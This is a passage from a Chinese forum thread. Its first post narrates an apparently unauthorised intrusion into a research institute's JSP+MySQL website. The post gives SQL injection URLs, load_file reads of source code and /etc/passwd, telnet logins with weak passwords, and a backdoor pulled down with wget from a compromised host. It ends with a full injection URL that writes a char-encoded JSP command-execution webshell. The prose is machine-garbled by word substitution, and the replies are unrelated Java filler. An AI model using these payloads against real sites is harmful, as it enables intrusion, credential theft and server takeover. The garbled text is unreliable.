仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 704|回复: 11
打印 上一主题 下一主题

[学习教程] JAVA网页编程之由Jsp+Mysql注进到root权限的全程展

[复制链接]
飘飘悠悠 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-18 11:20:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
学习JAVA的目的更多的是培养自身的工作能力,我觉得工作能力的一个核心就是:独立思考能力,因为只有独立思考后,才会有自己的见解js|mysql比来有点余暇,以是写点渣滓文章来消磨一下工夫.文中没有甚么手艺含量,假如要转载,请说明作者并坚持文章的完全.
良多人大概都晓得asp,php的编程要避免sql注进毛病,而其实不晓得jsp编程一样也必要戒备sql注进毛病.实在,一旦jsp代码有注进毛病,将间接影响到全部体系的平安。本文就是次要展现一下我的一次JSP+MYSQL注进导出webshell的历程。
www.***.***.cn是国际某一个出名研讨所的网站,我们在这里对其举行好心的测试。固然,在写此文之前我已将毛病关照了网站办理员.并对文中一切的图片举行了处置,还粘贴了个我年夜三的时分本人创造的一个数学公式的图,但愿让人人同时能够了解到数学更是胸无点墨(呵呵,固然研讨数学更是人世邪道).
1.寻觅注进点
进进其首页,在旧事内里任意点了个旧事扫瞄,习气地在其地点前面加个单引号’,链接上往后呈现如所示。

()
从图中的信息简单看出此网站的数据库中有个表的名字(tablename)是zhxw。惋惜的是看不到web路径。把引号’改成and1=1则前往一般页,而改成and1=2则呈现毛病页.从而能够判定有注进毛病.再用telnet探测此主呆板的3306端口,前往如所示的了局。

()
由此能够判定此网站的数据库程序是mysql。.
2.猜解表名
有了注进点,我们就会想到用union来机关sql语句。我们入手下手推测表zhxw的字段数,在注进点的地点前面加上unionselect1失掉毛病页面如所示。

()
慢慢在unionselect1前面加上四个数字2,3,4,5后均呈现的情形(注重每加一个数字的时分都要用个逗号,来离隔).看来字段数目不合错误。当在注进点地点前面加上unionselect1,2,3,4,5,6就前往一个一般的页面。申明表zhxw的字段数就是6.如今就能够来手工推测一些罕见的表名。很快想到就是admin表,在注进点地点前面加上unionselect1,2,3,4,5,6fromadmin,并把id=前面的1530改成一个不存在的id比方-1,了局呈现如所示。

()
申明表admin是存在的,且能够在数字2和3处拔出表的字段名大概mysql自带的函数来猎取数据库的信息.如今来推测admin表的字段名及其值.经手工推测失掉了admin表的字段名adminname和adminpwd的值如所示.

()
3.找web路径及web办理出口
记得angel的文章内里有个十分主要的函数load_file().我们如今就用这个函数来查找web路径.经测试发明在数字2处用load_file()函数交换后显现出来的了局不全,可是在数字3处用load_file()函数交换后显现出来的了局很全.我估量是与表zhxw的字段长度有关.并且我推测此体系是unix的体系.以是我在先从根目次处查找web路径!如所示.

()
中的画线处的www应当寄存了web的目次,再用load_file(‘/www’),失掉web切实路径是/www/ping(我这里用ping取代了其www前面的谁人实在的目次名).并找到了/www/ping目次下有个bbs目次及背景办理页adminlog.jsp.
4.猎取服务器一样平常权限的shell
有了办理页面我们天然想失掉要经由过程中的帐号登录出来并上传个JSPWEBSHELL,但是使人扫兴的是用这个帐号登录的时分发明既没有报错也没有乐成登录出来.厥后才从bbs目次下的readme.txt得知此bbs只同意其网站外部网ip举行办理,以是此路欠亨.其次,我们天然会想到查找mysql的root口令来猎取shell.以是想看看index.jsp的源代码是不是挪用了个大众的数据库毗连文件,然后我们再检察这个大众数据库毗连文件源代码中的数据库毗连信息.我们在这里用语句’load_file()…intooutfile’来检察jsp源代码;以是我们在ie中提交http://www.xxx.xxx.cn/content.jsp?tablename=kydt&id=390003%20union%20select%201,2,load_file(/www/ping/index.jsp),4,5,6%20from%20adminintooutfile‘/www/ping/ping.txt’,然后在ie中输出http://www.xxx.xxx.cn/ping.txt就失掉了index.jsp的源码.使人受惊的是,index.jsp并没有挪用个数据库毗连的大众文件,而是把数据库的毗连信息间接写在代码中了,而且失掉mysql帐户root的口令就是空。这时候我们有了mysql的root的口令,想试一试远程毗连此mysql服务器。可是我们想起了中的信息”Hostxxx.xxx.xxx.170isnotallowedtoconnecttothisMySQLserver”,就晓得从当地毗连此网站的mysql数据库是连不上的!看来此路也欠亨.这时候,我们就要往用社会工程学了。先看看此服务器是不是开放了22,23端口,发明服务器开放了23端口,再用load_file()函数来取得文件/etc/passwd的信息。由文件/etc/passwd的信息我手工测试其telnet服务的弱口令,很侥幸,我找到了五个有弱口令的帐号,用个中的一个帐号登录后失掉的shell如所示.

()
从图中易看出操纵体系仍是sunos5.8.
5.提拔权限
有了低权限的shell天然想到往下载与sunos5.8相干的exploit来提拔权限.我找了好久就是没有找到无效的exploit.既然我们已有了个shell,那末我们就能够在shell内里登录他的mysql服务器了.假如mysql是以root身份运转的话,我们就能够用文<<Howapache.orgwasdefaced>>及文<<MySQLUDFDynamicLibraryExploit>>中的办法来提拔权限了.了局失利了,毛病信息如和所示.

()

()
毛病缘故原由估量是与操纵体系有关,由于我用这两种办法在linux的体系上测试乐成了!哎,看来日暮途穷了!因而对此服务器的浸透停息了一下。大概歇息背面脑对照苏醒,头脑的火花一下就冒出来。这个时分我想起一篇进侵Tomcat的文章,内里提到上传JSP后门到web路径下后间接就失掉了root权限!因而,我就在shell下用wget命令从我的肉鸡上传了个JSP的后门到web路径上面。然后用ie测试了一下权限,居然发明这个WEBSHELL就是root权限,如0所示。
(0)
6.注进导出webshell

6.注进导出webshell
假定我们没有失掉他的telnet的弱口令,那怎样来失掉此站的webshell?angel在文<<MySQL注进中导出字段内容的研讨--经由过程注进导出WebShell>>及文<<PHP+MySQL注进导出文件的新发明--附带IPB2的毛病使用>>中研讨了由mysql注进导出文件失掉webshell的办法.良多人大概以为他的办法范围性年夜.由于当php.ini中magic_quotes_gpc=on时,使用intooutfile导出文件的时分会不乐成!可是jsp+mysql的网站就没有magic_quotes_gpc=on如许的设置.以是说他的办法在jsp+mysql注进中收回了刺眼的光泽!
我们这里要用到的jspwebshell是

我们把上述代码中的回车往失落,并转换为ascii码如1所示.
(1)
再在ie中提交以下地点
http://www.***.***.cn/content.jsp?tablename=zhxw&id=1530%20and%201=2%20union%20select%201,1,char(60,37,64,32,112,97,103,101,32,105,109,112,111,114,116,61,34,106,97,118,97,46,105,111,46,42,34,32,37,62,60,37,116,114,121,32,123,83,116,114,105,110,103,32,99,109,100,32,61,32,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,99,109,100,34,41,59,80,114,111,99,101,115,115,32,99,104,105,108,100,32,61,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,99,109,100,41,59,73,110,112,117,116,83,116,114,101,97,109,32,105,110,32,61,32,99,104,105,108,100,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,105,110,116,32,99,59,119,104,105,108,101,32,40,40,99,32,61,105,110,46,114,101,97,100,40,41,41,32,33,61,32,45,49,41,32,123,111,117,116,46,112,114,105,110,116,40,40,99,104,97,114,41,99,41,59,125,105,110,46,99,108,111,115,101,40,41,59,116,114,121,32,123,99,104,105,108,100,46,119,97,105,116,70,111,114,40,41,59,125,32,99,97,116,99,104,40,73,110,116,101,114,114,117,112,116,101,100,69,120,99,101,112,116,105,111,110,32,101,41,32,123,101,46,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,40,41,59,125,125,32,99,97,116,99,104,32,40,73,79,69,120,99,101,112,116,105,111,110,32,101,41,32,123,83,121,115,116,101,109,46,101,114,114,46,112,114,105,110,116,108,110,40,101,41,59,125,37,62),1,1,1%20from%20admin%20into%20outfile%20/www/ping/pingping.jsp/*
前往如2所示了局

(2)
呵呵,提醒有毛病,实在已乐成了!我们间接在ie中毗连此web目次中后门的地点失掉如3所示

(3)
的确乐成了!
我们的浸透也就此停止了.因为自己程度无限,文中不免有不妥的地方,请多多指教。我的qq是874842,我的email:wilse4694@sina.com.

参考文献1.<<SQLInjectionwithMySQL>>
http://www.4ngel.net/article/36.htm
2.<<AdvancedSQLInjectionwithMySQL>>
http://www.4ngel.net/article/30.htm
3.<<MySQLUDFDynamicLibraryExploit>>
http://www.securiteam.com/exploits/6G00P1PC0U.html
4.<<howapache.orgwasdefaced>>
http://www.securiteam.com/securitynews/5MP031P1FG.html
5.<<MySQL注进中导出字段内容的研讨--经由过程注进导出WebShell>>
http://www.4ngel.net/article/37.htm
6.<<PHP+MySQL注进导出文件的新发明--附带IPB2的毛病使用>>
http://www.4ngel.net/article/43.htm



为什么外国人还要写那些框架进行代码封装,他们不就是为了别人使用时可以更简单么!如果要达到一个企业级项目的不用框架是很难的。小一些的项目还行,大的光是MVC模式的设计的编码量就够大的了。还有性能方面,单轮windows,这个工具是微软写的,。
金色的骷髅 该用户已被删除
沙发
发表于 2015-1-18 21:42:26 | 只看该作者
吧,现在很流行的Structs就是它的一种实现方式,不过Structs用起来实在是很繁,我们只要学习其精髓即可,我们完全可以设计自己的MVC结构。然后你再研究一下软件Refactoring (重构)和极限XP编程,相信你又会上一个台阶。 做完这些,你不如整理一下你的Java代码,把那些经典的程序和常见的应用整理出来,再精心打造一番,提高其重用性和可扩展性。你再找几个志同道合的朋友成立一个工作室吧
冷月葬花魂 该用户已被删除
板凳
发表于 2015-1-19 06:59:22 | 只看该作者
一般学编程语言都是从C语开始学的,我也不例外,但还是可能不学过程语言而直接学面向对象语言的,你是刚接触语言,还是从C开始学比较好,基础会很深点,如果你直接学习JAVA也能上手,一般大家在学语言的时候都记一些语言的关键词,常有的包和接口等。再去做逻辑代码的编写,以后的学习过程都是从逻辑代码编写中提升的,所以这方面都是经验积累的。你要开始学习就从
简单生活 该用户已被删除
地板
发表于 2015-1-21 10:14:53 | 只看该作者
自从Sun推出Java以来,就力图使之无所不包,所以Java发展到现在,按应用来分主要分为三大块:J2SE,J2ME和J2EE,这也就是Sun ONE(Open Net Environment)体系。J2SE就是Java2的标准版,主要用于桌面应用软件的编程;J2ME主要应用于嵌入是系统开发,如手机和PDA的编程;J2EE是Java2的企业版,主要用于分布式的网络程序的开发,如电子商务网站和ERP系统。
若天明 该用户已被删除
5#
发表于 2015-1-30 14:47:53 | 只看该作者
是一种突破用户端机器环境和CPU
不帅 该用户已被删除
6#
发表于 2015-1-31 19:46:46 | 只看该作者
还好,SUN提供了Javabean可以把你的JSP中的 Java代码封装起来,便于调用也便于重用。
因胸联盟 该用户已被删除
7#
发表于 2015-2-3 14:36:40 | 只看该作者
一般学编程语言都是从C语开始学的,我也不例外,但还是可能不学过程语言而直接学面向对象语言的,你是刚接触语言,还是从C开始学比较好,基础会很深点,如果你直接学习JAVA也能上手,一般大家在学语言的时候都记一些语言的关键词,常有的包和接口等。再去做逻辑代码的编写,以后的学习过程都是从逻辑代码编写中提升的,所以这方面都是经验积累的。你要开始学习就从
再现理想 该用户已被删除
8#
发表于 2015-2-10 14:50:32 | 只看该作者
是一种语言,用以产生「小应用程序(Applet(s))
爱飞 该用户已被删除
9#
发表于 2015-3-10 15:04:23 | 只看该作者
Java语言支持Internet应用的开发,在基本的Java应用编程接口中有一个网络应用编程接口(java net),它提供了用于网络应用编程的类库,包括URL、URLConnection、Socket、ServerSocket等。Java的RMI(远程方法激活)机制也是开发分布式应用的重要手段。
飘灵儿 该用户已被删除
10#
发表于 2015-3-11 19:05:31 | 只看该作者
让你能够真正掌握接口或抽象类的应用,从而在原来的Java语言基础上跃进一步,更重要的是,设计模式反复向你强调一个宗旨:要让你的程序尽可能的可重用。
愤怒的大鸟 该用户已被删除
11#
发表于 2015-3-12 14:01:09 | 只看该作者
Java自面世后就非常流行,发展迅速,对C++语言形成了有力冲击。Java 技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于个人PC、数据中心、游戏控制台
深爱那片海 该用户已被删除
12#
发表于 2015-3-19 22:36:41 | 只看该作者
如果你学过HTML,那么事情要好办的多,如果没有,那你快去补一补HTML基础吧。其实JSP中的Java语法也不多,它更象一个脚本语言,有点象ASP。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-11-15 09:11

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表